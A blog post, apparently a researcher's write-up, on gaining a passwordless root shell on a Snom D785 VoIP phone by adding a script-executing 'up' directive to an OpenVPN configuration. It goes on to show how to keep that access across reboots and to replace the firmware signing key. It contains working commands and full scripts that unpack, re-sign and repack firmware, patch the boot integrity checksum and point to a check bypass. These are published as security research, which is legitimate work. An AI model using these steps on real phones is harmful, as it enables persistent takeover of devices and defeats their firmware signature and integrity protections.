Remote root shell on a Snom D785 VoIP phone using OpenVPN configuration files
This article explains exploiting a known vulnerability of products using OpenVPN by executing a command using the “up” configuration parameter of VPN configuration files.
Why known vulnerability? Well: To exploit this, you’d have to control the contents of the OpenVPN configuration file supplied to the device. If an attacker is able to change the contents of this file, you pretty much lost the security game already. And: Always look at your OpenVPN files before using them!
Continuing further, I will assume that you know all important OpenVPN client and server concepts. To test these things, I was using my local OpenVPN server instance. I’m unsure if this would work without having a complete OpenVPN server running already!
Preparing the .tar archive including the OpenVPN configuration file
As described by the manufacturer in https://service.snom.com/spaces/wiki/pages/234340378/Configuring+VPN+on+Snom+Deskphones, we’ll create an OpenVPN configuration file.
However, we’ll add the following two lines:
script-security 2
up /usr/local/bin/startsshd
The first line allows us to use any scripts in the “up” command: 0 would disable script execution completely, 1 would restrict us to Unix built-in tools – that wouldn’t be of much use, either. 2 allows user-defined scripts too: Exactly what we want!
The path to the startsshd script is unique to Snom phones: I found it in an eight year old forum thread here: https://forum.coredump.ch/t/snom-760-firmware-decrypt/235 – so big thanks to @roema for writing down that crucial bit of information!
After compressing the vpn.cnf file into a .tar archive and rebooting the phone, the device should start the OpenVPN client. You can look at the log of the OpenVPN client as described in the manufacturer wiki pages using a netcat listener:
enc@ptesthost:~$ netcat -l -p 5000
2025-12-21 00:08:46 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2025-12-21 00:08:46 OpenVPN 2.6.13 arm-buildroot-linux-gnueabi [SSL (OpenSSL)] [LZO] [EPOLL] [MH/PKTINFO] [AEAD]
2025-12-21 00:08:46 library versions: OpenSSL 1.1.1w 11 Sep 2023, LZO 2.10
2025-12-21 00:08:46 NOTE: the current --script-security setting may allow this configuration to call user-defined scripts
2025-12-21 00:08:46 TCP/UDP: Preserving recently used remote address: [AF_INET]84.x.x.x:1090
2025-12-21 00:08:46 UDPv4 link local: (not bound)
2025-12-21 00:08:46 UDPv4 link remote: [AF_INET]84.x.x.x:1090
2025-12-21 00:08:46 [voip.srv.encrypted.at] Peer Connection Initiated with [AF_INET]84.x.x.x:1090
2025-12-21 00:08:47 Options error: Unrecognized option or missing or extra parameter(s) in [PUSH-OPTIONS]:2: register-dns (2.6.13)
2025-12-21 00:08:47 Options error: Unrecognized option or missing or extra parameter(s) in [PUSH-OPTIONS]:6: register-dns (2.6.13)
2025-12-21 00:08:47 TUN/TAP device tun0 opened
2025-12-21 00:08:47 net_iface_mtu_set: mtu 1500 for tun0
2025-12-21 00:08:47 net_iface_up: set tun0 up
2025-12-21 00:08:47 net_addr_v4_add: 10.2.180.21/24 dev tun0
2025-12-21 00:08:47 /usr/local/bin/startsshd tun0 1500 0 10.2.180.21 255.255.255.0 init
Initialize network via DHCP
Generating ssh keys
Generating public/private rsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_rsa_key
Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub
The key fingerprint is:
SHA256:Bk80ABApodTW6b+cafI+Q/MCuIHTcM6RpStX+jiNuO0 root@(none)
The key's randomart image is:
+---[RSA 3072]----+
|.o++o.o.o |
|+ .o + . . |
|... = . . |
| . = o + |
| B * . S |
| + X . = |
| = B + * |
| ..= + X . |
| .oE. =o+ |
+----[SHA256]-----+
Configure phone for static ip and disable watchdog
Start sshd
Current IP: 10.2.11.100 10.2.80.21 10.2.180.21
2025-12-21 00:09:12 Initialization Sequence Completed
As we can see, the phone started the SSH server successfully. The first start takes quite a while, because the phone is performing an initial generation of the SSH server key.
Connecting to the SSH server
From here on, everything is basic SSH and Linux server stuff. Let’s connect:
ssh root@10.2.180.21
There will be no password prompt.
Weird behavior after a while
Just a heads-up: The phone randomly rebooted itself around 10 minutes after performing the OpenVPN connect. So make sure to persist access somehow and also think about disabling OpenVPN afterwards. Read on to see how I did it. 😉
Let’s dig into the firmware!
Where would all the fun be – if not in the device’s firmware and internal structure. Let’s see what we can find out.
First of all: Persisting SSH access. By checking out /etc/init.d/rcS, I found the following lines:
[...]
development=`fw_printenv development 2>/dev/null`
if [ "$development" = "development=yes" ]; then
[...]
display "Start sshd" ".."
/usr/sbin/sshd
[...]
Well, this looks like a pretty good, manufacturer-implemented entry point! If we’d be able to set the environment variable “development” to the value “yes”, the phone should start the SSH server automatically on each boot. Let’s try it in our remote shell:
-bash-5.2# fw_setenv development yes
-bash-5.2# fw_printenv |grep development
development=yes
Well, that looks quite nice! Let’s reboot the phone. Now, it even asks us a question on startup – interesting side effect, might check it out later:

Hardware details
Let’s take a look at the CPU:
-bash-5.2# cat /proc/cpuinfo
Processor : ARMv6-compatible processor rev 7 (v6l)
BogoMIPS : 498.07
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xb76
CPU revision : 7
Cache type : write-back
Cache clean : cp15 c7 ops
Cache lockdown : format C
Cache format : Harvard
I size : 32768
I assoc : 4
I line length : 32
I sets : 256
D size : 32768
D assoc : 4
D line length : 32
D sets : 256
Hardware : snomD785
Revision : 11107
Serial : 0000000000000000
Also, here’s the firmware decryption key for the D785 (firmware1.pub):
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDl1ymOAIUK9tKZFTz0j3WglME1
tCg33vWHavZTaH8sq6Yy0skqZM8LlbS6FHb/IjaDzObKwg3tecGJiVH/nXXBmsoo
axEVdAOcndPZheMl/z4lamf1L4g0kNc6Gk2QTPFRhC6LyQSDhBbtaol+yJthIrgC
zl2JX6Ewmvbd2Gnf0QIDAQAB
-----END PUBLIC KEY-----
Handy scripts
Unpacking firmware
#!/usr/bin/env bash
# Unpack a snom firmware image (verify -> recover AES key -> decrypt -> extract).
# Mirrors the phone's own verifySoftwareUpdateFile() sequence.
# ./fw-unpack.sh <firmware.bin> <firmware1.pub> [outdir]
set -euo pipefail
IN=${1:?firmware .bin}; PUB=${2:?firmware1.pub}; OUT=${3:-rootfs}
tmp=$(mktemp -d); trap 'rm -rf "$tmp"' EXIT
dd if="$IN" bs=128 count=1 of="$tmp/sig" 2>/dev/null
if dd if="$IN" bs=128 skip=1 2>/dev/null | openssl dgst -sha1 -verify "$PUB" -signature "$tmp/sig" >/dev/null 2>&1; then
echo "[ok] signature verified"
else
echo "[warn] signature did not verify (wrong key?) - continuing" >&2
fi
dd if="$IN" bs=128 skip=1 count=1 2>/dev/null \
| openssl pkeyutl -verifyrecover -pubin -inkey "$PUB" -out "$tmp/key"
dd if="$IN" bs=128 skip=2 2>/dev/null \
| openssl enc -aes-128-cbc -d -md md5 -kfile "$tmp/key" > "$tmp/rootfs.tar.gz"
mkdir -p "$OUT"
# fakeroot preserves /dev nodes + ownership; state db is reused by fw-repack.sh
fakeroot -s "$OUT/.fakeroot" tar -xzf "$tmp/rootfs.tar.gz" -C "$OUT" --numeric-owner
echo "[done] unpacked -> $OUT (edit files, then run fw-repack.sh)"
Generating own firmware key
#!/usr/bin/env bash
# Generate a signing keypair for custom snom firmware.
# The format needs a 1024-bit RSA key (the key block is one 128-byte RSA block).
# ./fw-genkey.sh [name]
set -euo pipefail
NAME=${1:-mykey}
openssl genrsa -out "$NAME.priv.pem" 1024 2>/dev/null
openssl rsa -in "$NAME.priv.pem" -pubout -out "$NAME.pub" 2>/dev/null
echo "private key : $NAME.priv.pem (keep secret; used by fw-repack.sh)"
echo "public key : $NAME.pub (install on the phone as /firmware1.pub)"
Repacking firmware
#!/usr/bin/env bash
# Repack + sign a rootfs dir into a snom firmware image the phone will accept
# (provided /firmware1.pub on the phone matches this private key).
# Output layout: sig(128) || keyblock(128) || openssl-salted AES-128-CBC(tar.gz)
# ./fw-repack.sh <rootfsdir> <mykey.priv.pem> [out.bin]
set -euo pipefail
ROOTFS=${1:?rootfs dir}; PRIV=${2:?private key .pem}; OUT=${3:-custom.bin}
tmp=$(mktemp -d); trap 'rm -rf "$tmp"' EXIT
# 1) tar.gz the rootfs (restore /dev nodes + ownership from the fakeroot db)
FR=(); [ -f "$ROOTFS/.fakeroot" ] && FR=(fakeroot -i "$ROOTFS/.fakeroot")
"${FR[@]}" tar -czf "$tmp/rootfs.tar.gz" -C "$ROOTFS" --numeric-owner \
--exclude=./.fakeroot .
# 2) random AES passphrase -- NO trailing newline (enc -kfile & pkeyutl must match)
openssl rand -base64 32 | tr -d '\n' > "$tmp/pass"
# 3) encrypt exactly the way the phone decrypts (aes-128-cbc, MD5 KDF, salted)
openssl enc -aes-128-cbc -e -md md5 -kfile "$tmp/pass" \
-in "$tmp/rootfs.tar.gz" -out "$tmp/enc"
# 4) key block: RSA-sign the passphrase so the phone's rsautl -verify recovers it
openssl pkeyutl -sign -inkey "$PRIV" -in "$tmp/pass" -out "$tmp/keyblk"
# 5) body = keyblock || ciphertext ; SHA1-sign it -> the 128-byte header signature
cat "$tmp/keyblk" "$tmp/enc" > "$tmp/body"
openssl dgst -sha1 -sign "$PRIV" -out "$tmp/sig" "$tmp/body"
# sanity: both RSA blocks must be exactly 128 bytes for a 1024-bit key
[ "$(wc -c <"$tmp/keyblk")" -eq 128 ] && [ "$(wc -c <"$tmp/sig")" -eq 128 ] \
|| { echo "[fail] key is not 1024-bit (blocks != 128 bytes)"; exit 1; }
# 6) assemble
cat "$tmp/sig" "$tmp/body" > "$OUT"
echo "[done] wrote $OUT ($(wc -c <"$OUT") bytes)"
Installing new key on phone
Make sure to back up the original firmware key before!
#!/bin/sh
# ---------------------------------------------------------------------------
# install-fw-key-on-phone.sh
#
# RUN THIS ON THE PHONE (in your root SSH session).
# Installs your custom firmware signing PUBLIC key as /firmware1.pub so the
# phone will accept firmware images you sign with the matching private key.
#
# Copy it over first, e.g. from your PC:
# scp install-fw-key-on-phone.sh root@<phone-ip>:/tmp/
# then on the phone:
# sh /tmp/install-fw-key-on-phone.sh
# ---------------------------------------------------------------------------
set -e
# 1) Your NEW firmware signing public key (must be 1024-bit RSA).
# Replace the block below if you regenerate the key.
cat > /tmp/firmware1.pub.new <<'EOF'
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDFwvmVfLGRQYdaQw9CEr3UgbEh
DHfQFnptbSMOKRJ7k7q4irN2LbYmA+qvhbxC1dbGY/U1tpNGgUGSthEpMEwS1MtL
K9maLhqJs+D788DKGBQupKcdByfcWbeDYSuVGBV8e/WKOipyyf5AJ6grAg6bpYba
EoPScbOudEN4shrsgQIDAQAB
-----END PUBLIC KEY-----
EOF
# 2) Make sure it is a valid RSA public key before touching anything.
if command -v openssl >/dev/null 2>&1; then
openssl rsa -pubin -in /tmp/firmware1.pub.new -noout || {
echo "ERROR: not a valid RSA public key - aborting"; exit 1; }
fi
# 3) Back up the current key (NOTE: /tmp is tmpfs and is lost on reboot;
# the stock key also lives on your PC as snom/firmware1.pub).
echo "old key md5: $(md5sum /firmware1.pub 2>/dev/null | cut -d' ' -f1)"
cp -a /firmware1.pub /tmp/firmware1.pub.bak 2>/dev/null || true
# 4) The rootfs is jffs2, mounted read-only -> remount it writable,
# swap the key, flush to flash, then set it read-only again.
mount -o remount,rw /
cp /tmp/firmware1.pub.new /firmware1.pub
sync
mount -o remount,ro /
echo "new key md5: $(md5sum /firmware1.pub | cut -d' ' -f1)"
# 5) Keep the boot-time integrity check happy. rcS runs
# 'md5sum -c /etc/checksum.md5' and drops to a shell on any mismatch.
# /etc is a writable overlay, so update ONLY the firmware1.pub line;
# every other line stays byte-identical.
NEWHASH=$(md5sum /firmware1.pub | cut -d' ' -f1)
awk -v h="$NEWHASH" '{ if ($2=="firmware1.pub") print h" firmware1.pub"; else print $0 }' \
/etc/checksum.md5 > /tmp/checksum.md5.new
cp /tmp/checksum.md5.new /etc/checksum.md5
rm -f /tmp/checksum.md5.new
echo "checksum.md5 updated: firmware1.pub -> $NEWHASH"
# 6) Verify the manifest now matches the installed key.
cd /
if md5sum -c /etc/checksum.md5 2>/dev/null | grep -q "firmware1.pub: OK"; then
echo "VERIFIED: firmware1.pub: OK"
else
echo "WARNING: md5 check did not report OK for firmware1.pub - review before rebooting"
echo " (or disable the check entirely with: fw_setenv skipmd5 yes)"
fi
echo "DONE. Backup at /tmp/firmware1.pub.bak (volatile)."
echo "The phone will now accept firmware signed with your matching private key."
# 7) Print the backed-up (original) key so you can save it off the phone
# before /tmp is wiped on reboot.
echo
echo "----- backed-up original /firmware1.pub (/tmp/firmware1.pub.bak) -----"
cat /tmp/firmware1.pub.bak 2>/dev/null || echo "(no backup found)"
echo "----- end backup -----"
No comments yet.